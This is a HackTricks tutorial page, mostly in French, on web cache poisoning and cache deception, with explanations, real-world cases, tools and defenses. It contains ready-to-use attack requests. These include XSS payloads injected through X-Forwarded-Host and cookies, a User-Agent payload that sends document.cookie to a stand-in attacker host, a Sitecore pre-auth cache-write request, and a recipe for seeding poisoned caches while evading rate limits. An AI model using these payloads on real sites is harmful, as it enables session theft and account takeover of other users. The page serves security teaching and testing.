Cache Poisoning and Cache Deception
Reading time: 19 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
La différence
Quelle est la différence entre web cache poisoning et web cache deception ?
- Dans web cache poisoning, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
- Dans web cache deception, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupÚre ce contenu depuis le cache.
Cache Poisoning
Le cache poisoning vise à manipuler le cache cÎté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrÎle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, puisque la réponse empoisonnée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.
L'exécution d'une attaque de cache poisoning implique plusieurs étapes :
- Identification of Unkeyed Inputs : Ce sont des paramĂštres qui, bien qu'ils ne soient pas requis pour qu'une requĂȘte soit mise en cache, peuvent modifier la rĂ©ponse renvoyĂ©e par le serveur. Identifier ces inputs est crucial car ils peuvent ĂȘtre exploitĂ©s pour manipuler le cache.
- Exploitation of the Unkeyed Inputs : AprÚs avoir identifié les unkeyed inputs, l'étape suivante consiste à comprendre comment détourner ces paramÚtres pour modifier la réponse du serveur d'une maniÚre avantageuse pour l'attaquant.
- Ensuring the Poisoned Response is Cached : La derniÚre étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse corrompue.
DĂ©couverte : VĂ©rifier les en-tĂȘtes HTTP
GĂ©nĂ©ralement, lorsqu'une rĂ©ponse a Ă©tĂ© stockĂ©e dans le cache, il y aura un en-tĂȘte l'indiquant ; vous pouvez vĂ©rifier quels en-tĂȘtes mĂ©ritent votre attention dans ce post : HTTP Cache headers.
Découverte : Mise en cache des codes d'erreur
Si vous pensez que la rĂ©ponse est stockĂ©e dans un cache, vous pouvez essayer d'envoyer des requĂȘtes avec un en-tĂȘte invalide, qui devrait rĂ©pondre avec un code de statut 400. Ensuite, essayez d'accĂ©der Ă la requĂȘte normalement et si la rĂ©ponse est un code 400, vous savez que c'est vulnĂ©rable (et vous pourriez mĂȘme effectuer un DoS).
Vous pouvez trouver plus d'options dans :
Cependant, notez que parfois ces types de codes de statut ne sont pas mis en cache, donc ce test peut ne pas ĂȘtre fiable.
Découverte : Identifier et évaluer les unkeyed inputs
Vous pouvez utiliser Param Miner pour brute-forcer les paramĂštres et en-tĂȘtes qui peuvent modifier la rĂ©ponse de la page. Par exemple, une page peut utiliser l'en-tĂȘte X-Forwarded-For
pour indiquer au client de charger le script depuis lĂ :
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Provoquer une réponse malveillante du serveur back-end
Une fois le paramĂštre/header identifiĂ©, vĂ©rifiez comment il est assaini et oĂč il est reflĂ©tĂ© ou comment il affecte la rĂ©ponse. Pouvez-vous l'exploiter malgrĂ© tout (rĂ©aliser un XSS ou charger du code JS que vous contrĂŽlez ? effectuer un DoS ?...)
Mettre la réponse en cache
Une fois que vous avez identifiĂ© la page qui peut ĂȘtre exploitĂ©e, quel paramĂštre/header utiliser et comment l'abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps ; vous devrez peutâĂȘtre rĂ©essayer pendant plusieurs secondes.
L'en-tĂȘte X-Cache
dans la rĂ©ponse peut ĂȘtre trĂšs utile car il peut prendre la valeur miss
lorsque la requĂȘte n'a pas Ă©tĂ© mise en cache et la valeur hit
lorsqu'elle l'est.
L'en-tĂȘte Cache-Control
est également intéressant pour savoir si une ressource est mise en cache et quand elle sera mise en cache à nouveau : Cache-Control: public, max-age=1800
Un autre en-tĂȘte intĂ©ressant est Vary
. Cet en-tĂȘte est souvent utilisĂ© pour indiquer des en-tĂȘtes supplĂ©mentaires qui sont traitĂ©s comme faisant partie de la clĂ© de cache mĂȘme s'ils ne sont normalement pas pris en compte. Par consĂ©quent, si l'attaquant connaĂźt le User-Agent
de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce User-Agent
spécifique.
Un autre en-tĂȘte liĂ© au cache est Age
. Il définit le temps en secondes pendant lequel l'objet est resté dans le cache du proxy.
Lors de la mise en cache d'une requĂȘte, faites attention aux en-tĂȘtes que vous utilisez car certains d'entre eux pourraient ĂȘtre utilisĂ©s de maniĂšre inattendue comme clĂ©s, et la victime devra utiliser ce mĂȘme en-tĂȘte. Testez toujours un Cache Poisoning avec diffĂ©rents navigateurs pour vĂ©rifier que cela fonctionne.
Exploiting Examples
Easiest example
Un en-tĂȘte comme X-Forwarded-For
est reflĂ©tĂ© dans la rĂ©ponse sans ĂȘtre assaini.
Vous pouvez envoyer un payload XSS basique et empoisonner le cache de sorte que toute personne accédant à la page soit victime d'un XSS :
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Notez que cela empoisonnera une requĂȘte vers /en?region=uk
et non vers /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup il est expliqué le scénario simple suivant :
- Le CDN mettra en cache tout sous
/share/
- Le CDN NE décodera PAS ni ne normalisera
%2F..%2F
, par consĂ©quent, il peut ĂȘtre utilisĂ© comme path traversal pour accĂ©der Ă d'autres emplacements sensibles qui seront mis en cache commehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
- Le serveur web DĂCODERA et normalisera
%2F..%2F
, et répondra avec/api/auth/session
, qui contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies peuvent Ă©galement ĂȘtre reflĂ©tĂ©s dans la rĂ©ponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez ĂȘtre capable d'exploiter XSS sur plusieurs clients qui chargent la rĂ©ponse de cache malveillante.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Notez que si le cookie vulnĂ©rable est trĂšs utilisĂ© par les utilisateurs, des requĂȘtes rĂ©guliĂšres videront le cache.
Générer des divergences avec des délimiteurs, la normalisation et les points
Consultez :
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
This writeup explains comment il a été possible de voler une OpenAI API key avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
parce que tout ce qui correspond Ă /share/*
sera mis en cache sans que Cloudflare normalise l'URL, ce qui Ă©tait fait lorsque la requĂȘte atteignait le serveur web.
Ceci est aussi mieux expliqué dans :
Cache Poisoning via URL discrepancies
Utiliser plusieurs headers pour exploiter web cache poisoning vulnerabilities
Parfois, vous devrez exploiter plusieurs entrées non utilisées comme clé pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un Open redirect si vous définissez X-Forwarded-Host
sur un domaine contrÎlé par vous et X-Forwarded-Scheme
sur http
. Si le serveur redirige toutes les requĂȘtes HTTP vers HTTPS et utilise l'en-tĂȘte X-Forwarded-Scheme
comme nom de domaine pour la redirection, vous pouvez contrĂŽler la destination de la redirection.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Exploiter avec un Vary
header limité
Si vous constatez que l'en-tĂȘte X-Host
est utilisĂ© comme nom de domaine pour charger une ressource JS mais que l'en-tĂȘte Vary
dans la réponse indique User-Agent
, vous devez trouver un moyen d'exfiltrate le User-Agent
de la victime et de poison the cache en utilisant ce User-Agent
:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envoyez une requĂȘte GET avec la requĂȘte dans l'URL et dans le body. Si le web server utilise celle du body mais que le cache server met en cache celle de l'URL, toute personne accĂ©dant Ă cette URL utilisera en fait le parameter du body. Comme la vuln que James Kettle a trouvĂ©e sur le site Github :
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Il existe un lab PortSwigger Ă ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Par exemple, il est possible de séparer les parameters sur des serveurs ruby en utilisant le caractÚre ;
au lieu de &
. Cela peut permettre de placer des valeurs de parameters sans clé à l'intérieur de parameters avec clé et de les exploiter.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Apprenez ici comment effectuer Cache Poisoning attacks by abusing HTTP Request Smuggling.
Tests automatisés pour Web Cache Poisoning
Le Web Cache Vulnerability Scanner peut ĂȘtre utilisĂ© pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques diffĂ©rentes et est hautement personnalisable.
Exemple d'utilisation : wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ce pattern observé en conditions réelles enchaßne une primitive de reflection basée sur les headers avec le comportement du CDN/WAF pour empoisonner de maniÚre fiable le HTML mis en cache et servi à d'autres utilisateurs :
- Le HTML principal reflĂ©tait un header de requĂȘte non fiable (p.ex.,
User-Agent
) dans un contexte exĂ©cutable. - Le CDN supprimait les headers de cache mais il existait un cache interne/origin. Le CDN mettait aussi automatiquement en cache les requĂȘtes se terminant par des extensions statiques (p.ex.,
.js
), tandis que le WAF appliquait une inspection de contenu moins stricte aux GETs pour les assets statiques. - Des particularitĂ©s du flux de requĂȘtes permettaient Ă une requĂȘte vers un chemin
.js
d'influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS cross-user via la reflection de header.
Recette pratique (observée sur un CDN/WAF populaire) :
- Depuis une IP propre (éviter les dégradations basées sur la réputation antérieure), définissez un malicious
User-Agent
via le navigateur ou Burp Proxy Match & Replace. - Dans Burp Repeater, prĂ©parez un groupe de deux requĂȘtes et utilisez "Send group in parallel" (le mode single-packet fonctionne le mieux) :
- PremiĂšre requĂȘte : GET d'une ressource
.js
sur le mĂȘme origin en envoyant votre maliciousUser-Agent
. - Immédiatement aprÚs : GET de la page principale (
/
).
- La course de routage CDN/WAF plus le
.js
auto-cachĂ© amorcent souvent une variante de HTML mise en cache empoisonnĂ©e qui est ensuite servie Ă d'autres visiteurs partageant les mĂȘmes conditions de clĂ© de cache (p.ex., mĂȘmes dimensionsVary
commeUser-Agent
).
Exemple de payload d'en-tĂȘte (pour exfiltrer des cookies non-HttpOnly) :
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Beaucoup de CDNs masquent les en-tĂȘtes de cache ; le poisoning peut n'apparaĂźtre que sur des cycles de rafraĂźchissement de plusieurs heures. Utilisez plusieurs adresses IP depuis des points d'observation et limitez le dĂ©bit pour Ă©viter les dĂ©clencheurs de limitation de dĂ©bit ou de rĂ©putation.
- Utiliser une IP issue du cloud du CDN améliore parfois la cohérence du routage.
- Si une CSP stricte est présente, cela fonctionne toujours si la réflexion s'exécute dans le contexte HTML principal et que la CSP autorise l'exécution inline ou est contournée par le contexte.
Impact:
- Si les cookies de session ne sont pas
HttpOnly
, un ATO zero-click est possible en mass-exfiltratingdocument.cookie
depuis tous les utilisateurs servis par le poisoned HTML.
Defenses:
- Cessez de reflĂ©ter les en-tĂȘtes de requĂȘte dans le HTML ; encodez strictement selon le contexte si inĂ©vitable. Alignez les politiques de cache du CDN et de l'origin et Ă©vitez de varier selon des en-tĂȘtes non fiables.
- Assurez-vous que le WAF applique l'inspection de contenu de maniĂšre cohĂ©rente aux requĂȘtes
.js
et aux chemins statiques. - Définissez
HttpOnly
(etSecure
,SameSite
) sur les cookies de session.
Sitecore preâauth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecoreâspecific pattern enables unauthenticated writes to the HtmlCache by abusing preâauth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl
handler is reached, an xmlcontrol:GlobalHeader
(derived from Sitecore.Web.UI.WebControl
) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>âŠpayloadâŠ</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Ceci écrit du HTML arbitraire sous une clé de cache choisie par l'attaquant, permettant un poisoning précis une fois les clés de cache connues.
For full details (cache key construction, ItemService enumeration and a chained postâauth deserialization RCE):
Exemples vulnérables
Apache Traffic Server (CVE-2021-27577)
ATS a transmis le fragment prĂ©sent dans l'URL sans le supprimer et a gĂ©nĂ©rĂ© la clĂ© de cache en utilisant uniquement l'hĂŽte, le path et la query (ignorant le fragment). Ainsi, la requĂȘte /#/../?r=javascript:alert(1)
a été envoyée au backend comme /#/../?r=javascript:alert(1)
et la clé de cache ne contenait pas la payload, seulement l'hÎte, le path et la query.
GitHub CP-DoS
Envoyer une mauvaise valeur dans l'en-tĂȘte content-type a dĂ©clenchĂ© une rĂ©ponse 405 mise en cache. La clĂ© de cache contenait le cookie, donc il Ă©tait possible d'attaquer uniquement des utilisateurs non authentifiĂ©s.
GitLab + GCP CP-DoS
GitLab utilise des buckets GCP pour stocker du contenu statique. GCP Buckets supportent l'en-tĂȘte x-http-method-override
. Il Ă©tait donc possible d'envoyer l'en-tĂȘte x-http-method-override: HEAD
et de poison the cache afin de renvoyer un corps de réponse vide. Il pouvait aussi supporter la méthode PURGE
.
Rack Middleware (Ruby on Rails)
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisĂ©. Le rĂŽle du code Rack est de prendre la valeur de l'en-tĂȘte x-forwarded-scheme
et de la dĂ©finir comme scheme de la requĂȘte. Lorsque l'en-tĂȘte x-forwarded-scheme: http
est envoyĂ©, une redirection 301 vers la mĂȘme location se produit, pouvant provoquer un Denial of Service (DoS) sur cette ressource. De plus, l'application peut prendre en compte l'en-tĂȘte X-forwarded-host
et rediriger les utilisateurs vers l'hÎte spécifié. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d'un attaquant, créant un risque de sécurité.
403 and Storage Buckets
Cloudflare mettait auparavant en cache les rĂ©ponses 403. Tenter d'accĂ©der Ă S3 ou Azure Storage Blobs avec des en-tĂȘtes Authorization incorrects renvoyait une rĂ©ponse 403 qui Ă©tait mise en cache. Bien que Cloudflare ait cessĂ© de mettre en cache les rĂ©ponses 403, ce comportement peut encore ĂȘtre prĂ©sent dans d'autres services de proxy.
Injecting Keyed Parameters
Les caches incluent souvent des paramÚtres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly mettait en cache le paramÚtre size
dans les requĂȘtes. Toutefois, si une version encodĂ©e en URL du paramĂštre (par ex. siz%65
) était aussi envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le paramÚtre size
correct. Pourtant, le backend traiterait la valeur dans le paramÚtre encodé. L'encodage URL du second paramÚtre size
conduisait Ă son omission par le cache mais Ă son utilisation par le backend. Attribuer la valeur 0 Ă ce paramĂštre rĂ©sultait en une erreur 400 Bad Request susceptible d'ĂȘtre mise en cache.
User Agent Rules
Certains dĂ©veloppeurs bloquent les requĂȘtes dont les user-agents correspondent Ă ceux d'outils Ă fort trafic comme FFUF ou Nuclei pour gĂ©rer la charge serveur. Ironiquement, cette approche peut introduire des vulnĂ©rabilitĂ©s telles que cache poisoning et DoS.
Illegal Header Fields
Le RFC7230 spĂ©cifie les caractĂšres acceptables dans les noms d'en-tĂȘtes. Les en-tĂȘtes contenant des caractĂšres en dehors de la plage tchar devraient idĂ©alement dĂ©clencher une rĂ©ponse 400 Bad Request. En pratique, les serveurs n'adhĂšrent pas toujours Ă cette norme. Un exemple notable est Akamai, qui transfĂšre des en-tĂȘtes avec des caractĂšres invalides et met en cache toute erreur 400, tant que l'en-tĂȘte cache-control
n'est pas prĂ©sent. Un schĂ©ma exploitable a Ă©tĂ© identifiĂ© oĂč l'envoi d'un en-tĂȘte contenant un caractĂšre illĂ©gal, comme \
, entraĂźnait une erreur 400 Bad Request mise en cache.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
L'objectif de Cache Deception est de faire en sorte que les clients chargent des ressources qui vont ĂȘtre enregistrĂ©es par le cache avec leurs informations sensibles.
Tout d'abord, notez que les extensions telles que .css
, .js
, .png
etc. sont gĂ©nĂ©ralement configurĂ©es pour ĂȘtre enregistrĂ©es dans le cache. Par consĂ©quent, si vous accĂ©dez Ă www.example.com/profile.php/nonexistent.js
le cache stockera probablement la réponse car il voit l'extension .js
. Mais, si l'application renvoie le contenu utilisateur sensible stocké dans www.example.com/profile.php, vous pouvez voler ces contenus d'autres utilisateurs.
Other things to test:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.
Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html
content-type instead of a text/css
mime type.
Apprenez ici comment effectuer Cache Deceptions attacks abusing HTTP Request Smuggling.
Outils automatiques
- toxicache: Golang scanner pour trouver des vulnérabilités de web cache poisoning dans une liste d'URLs et tester plusieurs techniques d'injection.
Références
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs â Sitecore XP cache poisoning â RCE
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.